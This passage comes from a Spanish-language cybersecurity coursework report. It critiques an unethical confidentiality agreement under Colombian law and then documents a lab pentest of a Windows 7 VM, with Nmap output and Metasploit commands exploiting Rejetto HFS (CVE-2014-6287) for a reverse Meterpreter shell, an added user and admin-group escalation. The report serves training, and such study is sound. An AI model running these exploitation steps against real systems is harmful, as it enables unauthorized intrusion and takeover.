medios, formas de distribucién, comercializacion de productos o de
prestacion de servicios, transmitida verbal, visual o materialmente, por
escrito  en los documentos, medios electrénicos, discos  épticos,
microfilmes, peliculas, e-mail u otros elementos similares
suministrados de manera tangible o intangible, independiente de su
fuente o soporte y sin que requiera advertir su caracter confidencial.

Anélisis

Se comprende correctamente como son los medios de transmision de la informacion
que puede ser confidencial o publica. Sin embargo, estan obviando la
responsabilidad de aclarar si esta es informacion confidencial o no, dejando un vacio
legal donde pueden aprovechar para culpar al candidato por algun tipo de filtrado
de informacion que a criterio propio puede ser informacién no confidencial, pero

para la empresa si. Algo poco ético a criterio personal porque es deber de la
empresa dar en conocimiento que informacion es de caracter confidencial.
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Fragmento del acuerdo

Cuarta. Obligaciones de la parte receptora: Se considerara como
parte receptora de la informacién confidencial a la persona que
recibe la informaciébn, o que tenga acceso a ella. La parte receptora se
obliga a
De ser necesario 0 conveniente segun la necesidad del titular de la
informacion, se adicionaran las obligaciones que se consideren
pertinentes:

1. Mantener la informacion confidencial segura, usarla
solamente para los propositos relacionados con él, en caso de ser
solicitada, devolverla toda (incluyendo copias de esta) en el
momento en que Yya no requiera hacer uso de esta o0 cuando
termine la relacibn, caso en el cual, debera entregar dicha
informacion antes de la terminacion de la vinculacion.

2. Proteger la informacién confidencial, sea verbal, escrita,
visual, tangible, intangible o que por cualquier otro medio reciba,
siendo legitima poseedora de la misma  Whitehouse  Security,
restringiendo su uso exclusivamente a las personas que tengan
absoluta necesidad de conocerla.

3. No denunciar ante las autoridades actividades sospechosas de
espionaje o0 cualquier otro proceso en el cual intervenga la
apropiacion de informacién de terceros.

4. Abstenerse de denunciar y publicar la informacion
confidencial e ilegal que conozca, reciba o0 intercambie con
ocasion de las reuniones sostenidas.

5. Usar la informacion  confidencial que se le entregue,
Unicamente para los efectos sefialados al momento de la entrega
de dicha informacion.

6. Mantener la informacién confidencial en reserva hasta tanto
adquiera el caracter de publica.

7. Responder por el mal uso que le den sus representantes a la
informacion confidencial.

8. Responder ante las autoridades competentes como responsable
en caso de que la informacibn se encuentre en su poder dentro
de un proceso de allanamiento.
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9. La parte receptora se obliga a no transmitir, comunicar revelar
o de cualquier otra forma divulgar total o parcialmente, publica
o privadamente, la informacion confidencial o ilegal sin el
previo consentimiento por escrito por parte de Whitehouse
Security.

Paradgrafo:  Cualquier divulgacion  autorizada de la informacion
confidencial a terceras personas estara sujeta a las mismas
obligaciones de confidencialidad derivadas del presente Acuerdo y la
parte receptora debera informar estas restricciones incluyendo la
identificacion de la informacién como confidencial.

Analisis

Dentro de los articulos de la Decisién 486 del 2000, especificamente en el Articulo
262, donde se constituye en competencia desleal todo lo relacionado con la
explotacion, divulgacion y adquisicién de un secreto empresarial bien sea por parte

de un tercero que haya accedido a dicho secreto de manera ilegal o legal con el
deber de reservar dicha informacion.

En esto, obligan al candidato a no denunciar estos actos, sabiendo que esto es
obligacion de un profesional y que esta contemplado en el Copnia como falta a la
Etica y profesionalismo de un ingeniero en Colombia.

En una de las obligaciones coloca en posicion de responsable al candidato para asi
liberar a la empresa de cualquier culpa en caso de algun tipo de allanamiento donde
se encuentre procesos o informacion ilegales es usar un chivo expiatorio que
faltando totalmente a la ética y afectando el buen nombre de una persona logran
cubrir los intereses ilegales y faltos de todo pundonor a una empresa.

Todo esto a su vez que, la persona que redacto este acuerdo sabiendo que de
presentarse alguna irregularidad de caréacter ilegal y que llegue a manos del
candidato, este no podra realizar ningun tipo de accion sin el consentimiento de la
misma, obviamente para evitar que las autoridades sean informadas de dichas
actividades y evitar tramites y procesos legales y juridicos que afecten a la misma.

Fragmento del Acuerdo

Quinta. Obligaciones de la parte reveladora: Son obligaciones de la parte
reveladora:

1. Mantener la reserva de la informacion confidencial hasta tanto
Sexta. Responsabilidad: la parte que contravenga el acuerdo sera

responsable ante la otra parte o ante los terceros de buena fe sobre
los cuales se demuestre que se han visto afectados por la inobservancia
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del presente acuerdo, por los perjuicios morales y econdémicos que
estos puedan sufrir como resultado del incumplimiento de las
obligaciones aqui contenidas.

Analisis

Deja un vacio en lo que se comprende sobre las obligaciones de la parte
Reveladora, donde practicamente deja sin ninguna obligacién en el acuerdo y con
el candidato y asi poderse entender a su conveniencia cualquier tipo de reclamo o
gueja que llegue por parte del candidato.

Fragmento del Acuerdo

Octava. Solucion de controversias: Las partes (Jairo Orlando Acevedo Jimenez
— WhiteHouse Security) se comprometen a esforzarse en resolver
mediante los mecanismos alternativos de solucion de  conflictos
cualquier diferencia que surja con motivo de la ejecucion del presente
acuerdo. En caso de que la informacién ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado
privado y dejar exenta de cualquier responsabilidad legal y penal a
Whitehouse Security.

Andlisis

Practicamente exonera a la empresa de cualquier tipo de culpabilidad en casos de
ilegalidad, indicando que no proporcionara ningun tipo de auxilio juridico al
candidato y que debera asumir este costo por el mismo y dejar en limpio el nombre
de la empresa, lo cual es muy irresponsable, ya que no asumird ningun tipo de
culpabilidad por los delitos o actos ilegales cometidos y con previo conocimiento de
estos.

Fragmento del Acuerdo

Novena. Legislacion aplicable: Este acuerdo se regira por las leyes
de la Republica de Colombia y se interpretard de acuerdo con las
mismas.

Décima. Aceptacion del Acuerdo: Las partes han leido y estudiado
de manera detenida los términos y el contenido del presente Acuerdo
y por tanto manifiestan estar conformes y aceptan todas las
condiciones.

Analisis
Hacen la salvedad que se rigen en las leyes colombianas y a lo largo del documento

se evidencio que no es cierto ya que vulneran bastantes leyes y articulos sobre
delitos informaticos e informacion en Colombia como se ha explicado anteriormente.
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También indican que ambas partes han leido y estudiado el acuerdo, pero como se
dice en el Anexo 2, esto no es cierto ya que la empresa no ha analizado este

documento.

6.2.2 Silarespuestaes afirmativay usted encontré algun proceso ilegal en
el anexo 3 - Acuerdo deberda mencionar que articulos de laley 1273 se

podrian vulnerar en dicho acuerdo y especificar porqué vulnera

articulos de la ley 1273.

Para este caso, como se ha indicado, la empresa esta realizando un tipo de prueba
para elegir a los candidatos que conformaran sus equipos Red y Blue Team, si
permite que este documento este dentro de los documentos legales de contratacion
estaria violando las leyes laborales ya que no da ningun tipo de garantias al
candidato de proteccion y practicamente esta condenando al mismo por cualquier
delito pasado, presente y futuro del que pueda ser responsable la empresa y
obviamente también vulnera las leyes laborales en el pais.

Para los articulos que no respeta este acuerdo segun la ley 1273 de 2009 sobre
delitos informéticos en Colombia, se vulneran los siguientes segun al concepto y

basado en lo encontrado y analizado del mismo.

Tabla 2 Articulos Ley 1273 de 2009

Articulo 269A de la
Ley 1273 de 2009,

Ley de Delitos
Informéaticos en
Colombia

Articulo 269C de la
ley 1273 de 2009,

Ley de Delitos
Informaticos en
Colombia
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Explica que se
considera delito el
acceso parcial o total a
un sistema informatico
sin autorizacién o que
abusando de la
confianza del que tiene
el derecho a excluir,
acceda y no quiera salir
del mismo

Esta ley contempla a
todo aquel individuo
gue sin pertenecer a la
rama judicial o tenga
permiso judicial, haga
cualquier tipo de
interceptacion  desde
su origen o destino,
aun desde un sistema
informatico.

Incurrira en pena
de prision de 48
a 96 meses de
prision y en una
multa de 100 a
1000 SMLMV.
Tendra una
sancion que va
desde los 36 a
los 72 meses de
prision.



Articulo 269A de la
Ley 1273 de 2009,

Ley de Delitos
Informéaticos en
Colombia

Articulo 269C de la
ley 1273 de 2009,

Ley de Delitos
Informaticos en
Colombia

Explica que se
considera delito el
acceso parcial o total a
un sistema informatico
sin autorizacién o que
abusando de la
confianza del que tiene
el derecho a excluir,
acceda y no quiera salir
del mismo

Esta ley contempla a

Incurrird en pena
de prision de 48
a 96 meses de
prisién y en una
multa de 100 a
1000 SMLMV.
Tendra una
sancion que va
desde los 36 a
los 72 meses de
prision.

todo aquel individuo
gue sin pertenecer a la
rama judicial o tenga
permiso judicial, haga
cualquier tipo de
interceptacion  desde
su origen o destino,
aun desde un sistema
informético.

6.2.3 ¢Existiendo procesos poco confiables en el anexo 3 — Acuerdo?
¢custed como experto en ciberseguridad aplicaria a este trabajo en The
WhiteHouse, donde la organizaciéon dispone de un sueldo de
$15.000.000 de pesos colombianos mensuales y contrato vitalicio?
Debe argumentar su respuesta ya sea afirmativa o negativa y tener en
cuenta en la argumentacion lo que se dispone en COPNIA en su
codigo de ética paraingenieros.

A titulo personal y basado en mi formacion profesional y sobre todo los valores y
principios que he formado a lo largo de mi vida profesional y personal NO
APLICARIA. Esto debido a que el ejercicio de la profesion no deberia ser solo con
fines lucrativos, sino también en desempefiar una funcién muy importante y de
mucho valor para las empresas y las personas a nuestro alrededor. Sentir la
satisfaccion del deber cumplido y la conciencia tranquila de hacer las cosas con
respeto y honradez es una de las recompensas que deberia impulsar a la gente a
desempeniar esta y todas las profesiones.

En base a esta argumentacion, el Consejo Profesional Nacional de Ingenierias
Copnia en laLey 842 de 2003 sobre la Etica Profesional en el Capitulo Il Articulo
31, basa estos deberes también en valores éticos y morales como el respeto,
imparcialidad a cada una de las personas que estén involucradas en el ejercicio de
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la profesion. Al igual que de valores y profesionalismo propios de cualquier profesion
como el de custodiar y cuidar cada uno de los bienes que por producto de la
profesion y la labor ejercida se tenga acceso o sean encomendados. Como se
demuestra en el Acuerdo entregado, ellos no autorizan el acceso a las autoridades
nacionales en caso de necesitar investigar algiin hecho que corresponda y se deba
por ser profesional inscrito ante este consejo, permitir el acceso a documentos e
informacion que para la empresa es considerada confidencial a sabiendas que es
informacion de actividades ilegales como reza el Articulo 31 Inciso E. Al igual que
también como parte de esos deberes esta la de denunciar cualquier falta,
contravencion o delito que en el ejercicio de las funciones profesionales este
enterado, algo que claramente va en contra de este Acuerdo con la empresa y que
se especifica claramente en el Inciso F del Articulo 31 de la Ley expuesta. Al igual
gue lo anteriormente expuesto, el Articulo 32 en los incisos B y C de permitir, tolerar
y/o facilitar el ejercicio de manera ilegal de cualquiera de las profesiones que estan
contempladas en esta Ley, asi como el de solicitar y/o aceptar comisiones en dinero
por ejercer la profesion sin estar debidamente contratado o estar legalizado con el
cliente, empresa, entidad, etc. Al igual que los Articulos expuestos anteriormente, el
Articulo 34 en el inciso A reza que no Ofrecer y/o aceptar trabajos que vayan en
contra de las disposiciones legales Vigentes, como lo que se ha expuesto en el
Acuerdo, esto claramente viola este articulo y no seria ético ni profesional aceptar
esta propuesta sabiendo de antemano que va en contra de esto, al igual que lo que
se expone en el Articulo 40 Inciso A donde el ofrecer cualquier tipo de prestacion
de servicio de cualquier indole (técnico, juridico o econémico y social entre otros)
sea de dudoso cumplimiento o vaya en contra de las circunstancias o la idoneidad
personal. Como se puede observar, el Copnia en la Ley 842 de 2003, ha
reglamentado y mas a socializado todos los aspectos que van ligados directamente
a la ética no solo profesional sino la personal en el cumplimiento de cualquier
profesibn amparada por ellos.

6.2.4 Debera buscar la noticia del caso “OPERACION ANDROMEDA
BUGGLY” en la ciudad de Bogota, y redactar su punto de vista
teniendo en cuenta las implicaciones legales y éticas que alli se
pudieron generar.

Este caso deja en evidencia que el hacking ético en ese tiempo era un tema muy
distorsionado, para este caso en particular, el reclutamiento de talento técnico y
sobresaliente en técnicas de computacion disfrazado de comunidad de ethical
hacking, fue la estrategia perfecta para esconder de la vista de todo el mundo la
parte delictiva de esta practica tan importante para las personas y empresas a través
del mundo digital. Se veia como una iniciativa muy buena para compartir el
conocimiento sobre la seguridad informatica y nuevas tecnologias y a través de la
tecnologia y los eventos destinados a la tecnologia como el Campus Party al igual
gue en blogs y hasta en Twitter fue que su creador y fundador Carlos Betancur que
se hacia llamar “Bender” hizo de Buggly el templo para algunos donde se podia
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hablar y vivir en este mundo de tecnologia a simple vista. Combinando tecnologia,
comida, tatuajes y ocio y demés fue que Buggly tomo fuerza y empezé a atraer
talentos que poco a poco fueron empezando a sumar para lo que seria una de las
grandes fuentes de interceptacién de datos que ha tenido Colombia ya que como
se supo después, esto fue directamente financiado por el Ejército Nacional y que
todo era para cazar talentos que con el pensamiento de transmitir y absorber
conocimiento terminaron siendo utilizados para temas de espionaje a grupos
guerrilleros como las FARC (incluso a los comisionados del proceso de paz que se
llevaba a cabo en la Habana para esos tiempos) y el ELN. Ver que usaban a
personas con habilidades para la seguridad informética para realizar
interceptaciones que para el Ejercito eran “Legales” a simple vista no lo eran tanto
ya que segun informacion que se ha divulgado sobre este caso, miembros del
mismo ejercito habrian vendido informacion recolectada de estas interceptaciones
a personas comunes y hasta a bandas criminales para otros fines, dejando la
legalidad de lado y lucrandose de estos actos de forma ilicita yendo totalmente en
contra de lo que se ha establecido en leyes como la Ley 1273 de 2009, Ley 842 de
2003 y la Ley 1581 de 2012. Independientemente del objetivo principal de esta
operacion llamada ANDROMEDA, la forma de hacerlo engafiando a jévenes
ingenuos, a profesionales que solo buscaban aprender y rodearse de gente que
compartiera su pasion por la seguridad informética y tener un espacio donde esto
fuera natural no tiene nada de ético ni de profesional, sobre todo al pensar que fue
concebido desde un ente gubernamental y més aun, una Entidad que vela por la
seguridad y la justicia de un pais, deja una gran decepcién en los profesionales que
como yo quieren aprender y expandir el conocimiento y que ese conocimiento pueda
llevarse a construir un mejor pais, pero al mismo tiempo demuestra que existe
talento y sobre todo existe la honestidad de todos aquellos que nos estamos
formando y los que ya son expertos en seguridad informatica y que la ética es uno
de los pilares mas fuertes que se deben tener para ejercer esta labor que siempre
esta en constante cambio y que necesita que mas profesionales estén dispuestos a
poner su conocimiento a disposicidn para que se vea el hacking ético y a los
pentesters no como criminales, sino como profesionales altamente capacitados y
entrenados para evitar que nuestra informacion pase de ser confidencial a ser
publica sin nuestro consentimiento y proteger la confidencialidad, integridad y
disponibilidad de nuestra informacion basados en todos los aspectos legales y
éticos que tenemos disponibles.

6.3 ETAPA 3 - EJECUCION PRUEBAS DE INTRUSION

6.3.1 Describa de manera especifica las herramientas software que utilizo
para llevar a cabo el anexo 4 — escenario 3 enfocado a Redteam.
Debera adjuntar evidencia de los comandos utilizados y resultados
gue arrojo cada herramienta utilizada, estas herramientas deben estar
clasificadas segun los pasos de un pentesting.

56



Para poder realizar este pentesting, se hace uso del sistema operativo Kali Linux y
las herramientas de pentesting con las que cuenta para este proceso. Se ejecutaran
las etapas para la realizacion de un pentesting y corroborar si efectivamente es
posible explotar una vulnerabilidad en este equipo Windows 7 con arquitectura x64.

6.3.1.1 Fase de Recoleccién de Informacién

Para saber que vulnerabilidad tiene la aplicacion Rejjeto la cual, segun una
blusqueda realizada en Google sobre esta, es una aplicacion para el uso compartido
de archivos a través de internet. La cual tiene una vulnerabilidad en la funcién
“findMacroMaker” en la libreria parserLib.pas en versiones anteriores a la 2.3c y por
la cual los atacantes de manera remota pueden ejecutar programas de manera
arbitraria a través de una secuencia %00 en una accién de busqueda.® Para esto,
ya existe un exploit conocido para poder explotar esta vulnerabilidad a través de la
herramienta de Metasploit de Kali Linux.

llustracién 15: Vulnerabilidad CVE2014-6287

c QO A = mitre.arg name.cgitna E-2014. B & QBuscr @ & @ %

TOTAL CVE Records: 161208

NOTICE: CVE website transitioning to new “"CVE.ORG” web address. Process to begin in late September 2021 and last one year. (details)

Printer-Friendly View
CVE-ID
CVE-2014-6287 Learn more at National Vulnerability Database (NVD)
* CVSS Seventy Rating » Fix Information « Vulnerable Software Versions » SCAP Mappings  CPE Information
Description
The findMacroMarker function in parserLib.pas in Rejetta HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3c allows remote attackers to execute arbitrary programs via a %00 sequence in a search action.
References

Note: References are provided for the convenience of the reader to help distinguish between vuinerabilites. The list is not intended to be complete

« CERT-VN:VU#251276

Assigning CNA
MITRE Corporation
Date Record Created

20140909 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessariy indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in
CVE.

Phase (Legacy)
Assigned (20140909)

Fuente: https://cve.mitre.org/cgi-bin/cvename.cqi?name=CVE-2014-6287

13 CVE-2014-6287 La funcién findMacroMarker en parserLib.pas en Rejetto HTTP File Server
(también conocido como HFS o HttpFileServer) 2.3x anterior a 2.3c permite a atacantes remotos
ejecutar programas arbitrarios a través de una secuencia %00 en una accion de blsqueda.
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6.3.1.2 Fase de Enumeracion

Para conocer un poco a detalle si el equipo a analizar es vulnerable a un ataque de
tipo Shell Reversa por el uso de la aplicacién Rejjeto en su versiéon 2.3 la cual actia
sobre el protocolo HTTP, se hara uso de la herramienta NMAP la cual permite
examinar los protocolos abiertos de un host y asi poder verificar si el puerto 80
usado para HTTP estéa a la escucha por alguna aplicacion instalada en el equipo y
tener datos de la version especifica del software utilizado y poder explotar dicha
vulnerabilidad.

llustracion 16: Escaneo de puertos con Nmap

2 /home/kali

) 10.0.2.5
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-22 20:48 EDT
Nmap scan report for 10.0.2.5
Host is up (0.00063s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3b
}_http—server—header: HFS 2.3b
| _http-title: HFS /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
554/tcp open rtsp?
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows
49153/tcp open msrpc Microsoft Windows
49154/tcp open msrpc Microsoft Windows
49155/tcp open msrpc Microsoft Windows
49156/tcp open msrpc Microsoft Windows
49161/tcp open msrpc Microsoft Windows
MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1

Fuente: Propia

Al ejecutar Nmap desde Kali Linux con el argumento -p- se pudieron evidenciar que
puertos se encuentran a la escucha, al igual que la opcién -Pn- que permite conocer
informacion del Sistema operativo del Host. Se observa que el puerto 80 se
encuentra en estado open. En el cual se observa que esté siendo utilizado por la
aplicacién HFS 2.3b lo cual permitira correr el exploit para explotar la vulnerabilidad.

6.3.1.3 Fase de analisis
Ahora se procede a realizar el analisis de la vulnerabilidad con la informacion
recolectada de las fases anteriores. Esta version de HFS tiene un exploit en la

herramienta Metasploit integrada en el paquete de Kali Linux y con la cual se llevara
a cabo el proceso con permiso de la empresa.
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Esta herramienta también nos permite buscar exploit a través del comando search.
Como no se sabe exactamente el exploit que se puede explotar usaremos este
comando para encontrar el exploit a utilizar.

llustracion 17: Blisqueda de vulnerabilidades con Metasploit

® /home/kali

IIIIIT K
II

:/’ N

11 7
I -
II = i

IIIIIT -. —

\

I

| 2
SN

|

I love shells -——egypt

=[ metasploit v6.0.45-dev

-— ——=[ 2134 exploits - 1139 auxiliary - 364 post
=[ 592 payloads - 45 encoders - 10 nops

- —=[ 8 evasion

Metasploit tip: Use the r command to run
commands from a file

msf6 > search hfs

Matching Modules

Name Disclosure Date Rank Description

exploit/multi/http/git_client_command_exec 2014-12-18 X Malicious Git and Mercurial HTTP Server For CVE-2014-9390
exploit/windows/http/rejetto_RfS_exec 2014-09-11 xcellent es Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example inf

msf6 > i

Fuente: propia

Se observa en los pardmetros arrojados que la aplicacion rejetto tiene dos exploit,
uno de ellos (1 rejetto_hfs_exec) con un Rank excelente y chequeado (Yes); lo cual
significa que se puede utilizar para explotar esta vulnerabilidad en la host victima.

6.3.1.4 Fase de Explotacién
Ya con la informacion recolectada de las demas fases, se procede a realizar la
explotacion de la vulnerabilidad hallada en la aplicacion del host. Para lo cual se

procede a cargar el exploit rejetto_hfs_exec en el Metasploit para proceder a
ejecutarlo en el host victima.
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llustracion 18: Cargando exploit a ejecutar

msf6 > use exploit/windows/http/rejetto_hfs_exec
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > 1

Fuente: Propia

El siguiente paso es configurar este exploit para ser utilizado sobre la direccion IP
del equipo con Windows 7 x64. Para lo cual se hace uso del comando set en
Metasploit para asi establecer las variables necesarias para poder ejecutar con éxito
este exploit. Las variables son:

e RHOST: Se establece la direccion IP del host que se va a atacar
e SRVHOST: Se establece la direccion IP del equipo atacante, en este caso
nuestro equipo con Kali Linux

llustracion 19: Configuracion variables

msf6 exploit( ) > set RHOST 10.0.2.5
RHOST = 10.0.2.5

msf6 exploit( ) > set SVRHOST 10.0.2.15
SVRHOST = 10.0.2.15

msf6 exploit( ) > set SRVHOST 10.0.2.15

SRVHOST = 10.0.2.15
msf6 exploit( ) > |

Fuente: Propia

Ya con estas variables configuradas, se procede a ejecutar el exploit que explotara
la vulnerabilidad seleccionada.
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llustracion 20: Ejecucion del exploit

msf6 exploit( ) > exploit

Started reverse TCP handler on 10.0.2.15:4444

Using URL: http://10.0.2.15:8080/xPfBjz

Server started.

Sending a malicious request to /

Payload request received: /xPfBjz

Sending stage (175174 bytes) to 10.0.2.5

Tried to delete ¥TEMP%\WplOAZXo.vbs, unknown result

Meterpreter session 1 opened (10.0.2.15:4444 — 10.0.2.5:49179) at 2021-09-22 22:14:25 -0400
Server stopped.

meterpreter > ]
Fuente: Propia

Ya se tiene acceso para ejecuta el codigo para crear usuario, por lo cual se procede
a crearlo para comprobar que la explotacién fue un éxito.

llustracion 21: Creacion de usuario

meterpreter > run getgui -u JairoAcevedo -p 123456

[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [ ... ]
Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
Carlos Perez carlos_perez@darkoperator.com
Setting user account for logon
Adding User: JairoAcevedo with Password: 123456
Account could not be created
Error:
Se ha completado el comando correctamente.
For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20210922.2106.rc

Fuente: Propia

Ahora se procede a darle privilegios de Administrador al usuario que se acaba de

crear a través del comando Incognito. El cual nos permitira asociar el usuario
creado al grupo de Administradores.

llustracion 22: use incognito

meterpreter > use incognito

Loading extension incognito ... Success.

Fuente: Propia

Para ver los grupos en este equipo, hacemos uso del comando dentro de incognito
list_tokens -g.
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llustracion 23: Vista de grupos Windows 7

meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

\

\INICIO DE SESION EN LA CONSOLA
\Todos

BUILTIN\Administradores
BUILTIN\Usuarios

NT
NT
NT
NT
NT
NT
NT
NT
NT
NT
NT
NT
NT
NT
NT
NT
NT
NT
NT

AUTHORITY\Autenticacion NTLM
AUTHORITY\Esta compafiia
AUTHORITY\INTERACTIVE
AUTHORITY\SERVICIO
AUTHORITY\Usuarios autentificados
SERVICE\AudioEndpointBuilder
SERVICE\CscService
SERVICE\IKEEXT
SERVICE\iphlpsvc
SERVICE\LanmanServer
SERVICE\Netman
SERVICE\PcaSvc
SERVICE\Schedule
SERVICE\SENS
SERVICE\ShellHwWDetection
SERVICE\Trkwks

SERVICE\UxSms
SERVICE\Winmgmt
SERVICE\wuauserv

PC202006\HomeUsers

Impersonation Tokens Available

No

tokens available

Fuente: Propia

Ahora a través del comando add localgroup_user se agrega el usuario
JairoAcevedo al Grupo de Administradores.

llustracion 24: Agregar usuario a Administradores

Fuente: Propia

Ahora en el equipo con Windows 7 x64 se comprueba la creacion del usuario
JairoAcevedo y que esta en el grupo de Administradores.
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llustracién 25: Creacion usuario JairoAcevedo

& Administracion de equipos === } ===
L o -
@ Archivo  Accién  Ver Ayuda ~ [ 43| [ Buscor Documentos »p
- Propiedades: Administradores L7 ==l
e sEXE=HE =- O @
General -
Nombre
| -, S — LA
#puplicadores o
315 USRS
artidas
ocsl|| B Invitados Descripcion:  Los administradores tisnen accese completo y sin restriceiones al
¥ Lectores del registro d... Los miembros de este grupo
& Operadores criptograf... Los miembros tienen auto Miembros
2 Operadores de config... & Admiristrador
ispo|| 2 Operadores de copia .. Los operadores de copia de se: & JairoAcevedo
a & suario
o d... Los miembros de este grupo pue.
HomeUsers Security Group
Cuslquier cambio en la pertenencia a grupos
Agreg: de usuiarios no surtird efecto hasta que el
usuaro inicie sesién de nueve.
Cancelar Ayuda
q i v
@ C IJ Cl 2 [“.‘ ” Ea "'E' " 3‘“"" = )% !

Fuente: Propia

6.3.1.5 Fase de Documentacion

Se pudo evidenciar que a través de la aplicacion Rejetto HFS 2.3 fue posible realizar
un ataque de Shell inversa y explotar esta vulnerabilidad de nivel critico, ya que
permitié la creacion y acceso al equipo sin ningun tipo de autenticacion y dar
permisos de administrador a un usuario creado de manera remota. Esto es debido
a que esta aplicacion esta en una version en la cual se han expuesto multiples
vulnerabilidades y las cuales son de nivel critico ya que permite realizar las acciones
gue se hicieron en esta prueba de laboratorio. Se debe tener en cuenta también que
el sistema operativo donde se ejecuta la aplicacion esta en una version obsoleta y
sin ningdn tipo de soporte por parte de Microsoft, lo cual la hace vulnerable a todo
tipo de ataques ya que, al no contar con actualizaciones y parches de seguridad, es
una puerta abierta a los atacantes para poder tener acceso a la informacién de la
empresa. Para el equipo de seguridad de la informacion y Tl es muy importante
conocer y remediar este tipo de vulnerabilidades ya que esto es una violacion a los
pilares de la seguridad de la informacion (Confidencialidad, Integridad y
Disponibilidad) y se debe tener medidas en las cuales este contemplado este tipo
de dispositivos y el riesgo que representan.
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6.3.2 A continuacion, liste y describa los datos e informacién del anexo 4 —
escenario 3 que le fueron de ayuda para identificar el fallo de
seguridad especifico el cual ataca a la maquina Windows 7 X64.

1. Para este caso, se tiene ya conocimiento por parte de la empresa que se
ha presentado una fuga de informacion dentro de la misma.

2. Se tiene identificado el equipo donde se presenta la fuga de informacion,
el cual tiene instalada una aplicacion para compartir archivos hacia
internet llamada Rejetto v. 2.3, la cual esté corriendo sobre un Sistema
operativo Windows 7 con arquitectura a 64Bits.

3. Teniendo esta informacion, lo primero que se realiza es una investigacion
a través del buscador Google donde se encuentra que esta aplicacion
trabaja sobre el protocolo HTTP, lo cual es el primer indicio para
sospechar que la aplicaciébn no es segura ya que si funciona como un
servidor de archivos debe tener un método de encripcibn o usar
protocolos seguros que permitan que la informacion viaje de manera
segura.

4. También se encuentra que efectivamente esta aplicacion y mas
especificamente en esta version, ya cuenta con menciones en bases de
datos de vulnerabilidades como CVE, exploit.db, etc. Por lo cual es facil
encontrar informacion de como poder llevar a cabo un ataque de Shell
Reversa o similares que permitan acceder a la informacién de manera
ilegal.

5. Para este escenario, el equipo funciona como un servidor de archivos a
través del protocolo HTTP, donde cualquier equipo cliente inicia una
comunicacion de tipo Shell remota y el servidor como esta a la escucha
de peticiones por este puerto predeterminado las recibe e inicia la
transferencia. Aunque existe la forma de invertir la situacién y que el
cliente pueda escuchar también esas peticiones conociendo el puerto por
el cual se realizan dichas peticiones.

6. Al tener conocimiento de los puertos utilizados por el servidor, y que se
pueda comprobar que efectivamente estan escuchando peticiones por
estos puertos que normalmente son permitidos por algun Firewall o
aplicacién y los cuales pueden ser detectados a través de aplicaciones de
identificacion de puertos como Nmap, Nessus, Metasploit, etc. Y ademas
gue estos puertos no se filtran en ocasiones y permiten recibir todo el
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trafico que vaya por ellos, y para el atacante resulta facil realizar una
intrusion a un sistema vulnerable.

6.3.3 ¢Qué herramienta utiliz6 para poder identificar los fallos de seguridad
de la “maquina Windows 7”? ¢ Qué puerto abre la aplicacién especifica
en el anexo?

Para la deteccion de los fallos de seguridad se hizo uso de una herramienta muy
comun para escaneo de puertos como lo es Nmap. Teniendo la direccion IP del
equipo con Windows 7 se hizo el escaneo de esta direccion IP a través de Nmap
gue viene ya preconfigurado en Kali Linux.

llustracion 26: Informacion ipconfig Windows 7 x64

EA Administrader CA\Windows'system32\cmd.exe = || e @

icrosoft Windows [Uersion 6.1.766811]
opyright <c? 2007 Microsoft Corporation. Reservados todos los derechos.

tslzerssusuwario¥ipoconf ig

onfiguracidn IP de Windows

idaptador de Ethernet Conexidn de area local:

Sufijo DMS especifico para la conexidn. . Coship
Uinculo: direccidn IPw6 local. . . = feB@::4842:9ced4:4e38:7898x11

Direccidn IPuvd. . . . . . . . . . . 18.@.2.5

Mascara de subred . . . . . . . . . . . . 255 _.255.255.8

Puerta de enlace predetevrminada . . . . . i8.8.2._1
Adaptador de tdnel isatap.Coship:

Eztado de losz medios. . . . . . . . . . . medios desconectados
Sufijo DHS especifico para la conexidn. . Coship

sslUserssusuario

Fuente: Propia

Se puede observar que la direccion IP del equipo con Windows 7 es 10.0.2.5, lo
cual al realizar el escaneo con Nmap permitira saber que puertos se encuentran en
estado open. Para esto corremos la aplicacion HFS v 2.3 en este equipo para
identificar el puerto correctamente y la aplicacion que estad escuchando por este
puerto.
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llustracion 27: HFS en Ejecucién

& Menu | ﬁ Port: 80 | € You are in Easy mode |
] Openin browser  http://10.0.2.5/

Virtual File System Log

4/

il IP address 1 File Status Speed  Time...

Out: 0.0 KB/s  Im: 0.0 KB/s

Fuente: Propia

Ya en la maquina con Kali Linux se puede realizar un ping para comprobar que la
direccion del host sea accesible.
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llustracion 28: Ping desde Kali Linux

@ /home/kali

10.0.2.5
PING 10.0.2.5 (10.0.2.5) 56(84) bytes of data.
64 bytes from 10.0.2.5: icmp_seq=1 ttl=128 time=0.506
64 bytes from 10.0.2.5: icmp_seq=2 ttl=128 time=0.352
64 bytes from 10.0.2.5: icmp_seq=3 ttl=128 time=0.306
64 bytes from 10.0.2.5: icmp_seq=4 ttl=128 time=0.434
